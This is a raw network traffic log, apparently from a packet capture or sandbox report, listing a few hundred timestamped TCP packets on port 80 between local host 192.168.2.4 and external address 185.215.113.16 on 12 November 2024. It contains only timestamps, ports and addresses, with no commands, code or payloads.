Nov 12, 2024 21:21:45.684961081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684964895 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684973001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684984922 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684990883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684997082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685013056 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685034037 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685036898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685050011 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685060978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685067892 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685074091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685086966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685091972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685097933 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685106039 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685117960 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685129881 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685132980 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685142994 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685146093 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685157061 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685162067 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685167074 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685178041 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685182095 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685190916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685197115 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685204029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685216904 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685223103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685226917 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685235023 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685242891 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685247898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685261011 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685262918 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685272932 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685286045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685288906 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685297012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685309887 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685312986 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685322046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685323000 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685334921 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685347080 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685352087 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685359001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685370922 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685374022 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685385942 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685389042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685400963 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685408115 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685412884 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685426950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685429096 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685440063 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685451984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685451984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685465097 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685476065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685476065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685487986 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685493946 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685503960 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685516119 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685520887 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685527086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685532093 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685540915 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685553074 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685559988 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685570955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685584068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685589075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685595036 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685611010 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685616970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685625076 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685628891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685637951 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685642004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685657978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685664892 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685669899 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685684919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685688019 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685697079 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685713053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685718060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685730934 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685731888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685745001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685758114 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685760975 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685775995 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685776949 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685790062 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685795069 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685801983 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685815096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685822010 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685827017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685831070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685841084 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685846090 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685853958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685857058 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685867071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685878992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685884953 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685889959 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685900927 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685914040 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685914040 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685929060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685940981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685945034 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685945034 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685952902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685970068 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.685971022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685990095 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.685991049 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686002970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686016083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686018944 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686028004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686033010 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686041117 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686053038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686057091 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686064959 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686072111 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686077118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686090946 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686095953 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686103106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686115980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686121941 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686127901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686136007 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686141968 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686155081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686161041 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686167955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686180115 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686192036 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686199903 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686203003 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686218023 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686229944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686242104 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686249971 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686253071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686259031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686264038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686265945 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686273098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686279058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686284065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686290026 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686295033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686306000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686320066 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686327934 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686331987 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686358929 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686368942 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686377048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686389923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686400890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686413050 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686420918 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686425924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686438084 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686444044 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686450958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686461926 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686465025 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686474085 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686485052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686485052 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686496973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686510086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686510086 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686527967 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686531067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686547041 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686548948 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686561108 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686572075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686573982 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686579943 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686584949 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686597109 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686599970 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686609030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686611891 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686623096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686630011 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686635971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686639071 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686649084 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686659098 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686661005 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686670065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686676025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686690092 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686696053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686707973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686714888 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686721087 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686734915 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686739922 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686748981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686762094 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686764002 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686774969 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686785936 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686790943 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686798096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686800957 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686811924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686824083 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686825037 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686836958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686846018 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686851978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686866045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686866045 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686878920 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686882019 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686891079 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686903000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686903954 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686913967 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686920881 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686927080 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686939001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686944962 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686952114 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686964035 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686969042 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686975002 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.686981916 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.686986923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687000990 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687004089 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687012911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687026024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687031984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687037945 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687051058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687051058 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687062025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687071085 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687074900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687088013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687096119 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687114000 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687114954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687130928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687144995 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687148094 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687160015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687166929 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687171936 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687184095 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687186956 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687196970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687201023 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687211037 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687222958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687227011 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687236071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687247992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687253952 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687273979 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687297106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687309027 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687329054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687340975 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687345982 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687351942 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687361002 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687366009 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687378883 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687386990 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687395096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687419891 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687443018 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687448978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687467098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687478065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687484980 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687495947 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687499046 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687509060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687513113 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687520981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687525988 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687532902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687540054 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687546015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687557936 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687566042 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687572002 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687577009 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687588930 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687597036 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687601089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687609911 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687614918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687627077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687638998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687640905 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687650919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687659025 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687664032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687678099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687679052 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687690020 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687700987 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687702894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687712908 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687725067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687728882 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687736988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687738895 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687748909 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687760115 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687771082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687772989 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687783003 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.687793016 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.687797070 CET	80	49762	185.215.113.16	192.168.2.4
